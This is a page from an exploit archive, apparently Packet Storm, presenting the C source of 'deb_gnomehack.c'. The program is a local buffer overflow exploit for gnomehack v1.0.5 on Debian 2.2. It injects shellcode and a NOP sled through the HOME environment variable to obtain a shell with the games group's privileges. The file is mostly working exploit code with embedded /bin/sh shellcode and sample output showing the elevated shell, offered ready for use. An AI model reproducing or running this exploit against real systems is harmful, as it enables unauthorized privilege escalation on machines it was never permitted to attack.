exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

deb_gnomehack.c

deb_gnomehack.c
Posted Nov 16, 2000
Authored by vade79, realhalo | Site realhalo.org

Gnomehack v1.0.5 local buffer overflow exploit which gives a egid=60 (games) shell if gnomehack is sgid (2755), tested on Debian 2.2. The same bug also affects Nethack.

tags | exploit, overflow, shell, local
systems | linux, debian
SHA-256 | 816be742420d036d0db3dc9087eb0fb8b2fcf51694ed67304fa2c176d19a55ca

deb_gnomehack.c

Change Mirror Download
/* (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo.org].
this will give you an egid=60(games) shell if gnomehack is sgid(=2755) games
on debian/2.2, which has gnomehack. (this can also be applied to nethack)

syntax: ./deb_gnomehack [offset] [alignment].

example:
-------------------------------------------------
# ./deb_gnomehack 500 0
[ (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo.org]. ]
[ return address: 0xbffff978, offset: 500, align: 0. ]
sh-2.03$ id
uid=1001(v9) gid=1001(v9) egid=60(games) groups=1001(v9)
sh-2.03$
-------------------------------------------------

note: overflow exists in $NETHACKOPTIONS as well, like nethack.
*/
#define PATH "/usr/lib/games/gnomehack/gnomehack" // path to gnomehack.
#define DEFAULT_OFFSET 500 // default offset.
#define DEFAULT_ALIGN 0 // default alignment.
static char exec[]=
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
"\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
"\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";
long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
char bof[300];
int i,offset,align;
long ret;
printf("[ (linux/debian)gnomehack[v1.0.5] buffer overflow, by: v9[v9@fakehalo."
"org]. ]\n");
if(argc>1){offset=atoi(argv[1]);}
else{offset=DEFAULT_OFFSET;}
if(argc>2){
if(atoi(argv[2])>3||atoi(argv[2])<0){
printf("*** ignored argument alignment value: %s. (use 0-3)\n",argv[2]);
align=DEFAULT_ALIGN;
}
else{align=atoi(argv[2]);}
}
else{align=DEFAULT_ALIGN;}
ret=(esp()-offset);
printf("[ return address: 0x%lx, offset: %d, align: %d. ]\n",ret,offset,align);
for(i=align;i<300;i+=4){*(long *)&bof[i]=ret;}
for(i=0;i<(250-strlen(exec));i++){*(bof+i)=0x90;}
memcpy(bof+i,exec,strlen(exec));
setenv("HOME",bof,1);
if(execlp(PATH,"gnomehack",0)){
printf("*** execution of %s failed. (check the path)\n",PATH);
exit(-1);
}
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    34 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close